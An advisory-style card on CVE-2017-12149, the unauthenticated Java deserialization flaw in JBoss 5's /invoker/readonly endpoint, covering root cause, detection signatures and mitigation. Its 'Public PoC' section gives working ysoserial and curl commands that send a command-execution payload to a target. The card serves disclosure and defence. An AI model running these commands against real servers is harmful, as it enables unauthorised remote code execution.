JBoss /invoker/readonly Deserialization

Product: Red Hat JBoss Application Server 5.x / EAP 5
CVE: CVE-2017-12149
Disclosed: 2017-10-04
CVSS: 9.8
Auth: pre-auth
CISA KEV: yes
Affected: JBoss AS 5.x, JBoss EAP 5.2.0
Fixed: JBoss EAP 5.2 errata (RHSA-2018:1607); community JBoss AS 5.x is EOL

Summary

JBoss's HTTP Invoker ReadOnlyAccessFilter deserialized POST bodies sent to /invoker/readonly without authentication. Any legacy JBoss 5 box with Commons Collections on the classpath falls to a ysoserial payload, and it remains a staple of ransomware and cryptomining campaigns.

Root cause

ReadOnlyAccessFilter.doFilter calls ObjectInputStream.readObject() on the request body before any access checks. Bundled libraries such as commons-collections provide gadget chains that turn deserialization into command execution.

Impact

Unauthenticated RCE on legacy JBoss deployments.

Public PoC

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > poc.ser
curl http://target:8080/invoker/readonly --data-binary @poc.ser

Source: vulhub / jboss/CVE-2017-12149

Detection

Look for POSTs to /invoker/readonly (and /invoker/JMXInvokerServlet) with Java serialized (aced0005) bodies. nuclei template CVE-2017-12149.

Mitigation

Remove the http-invoker.sar / restrict /invoker/*, or migrate off JBoss AS 5.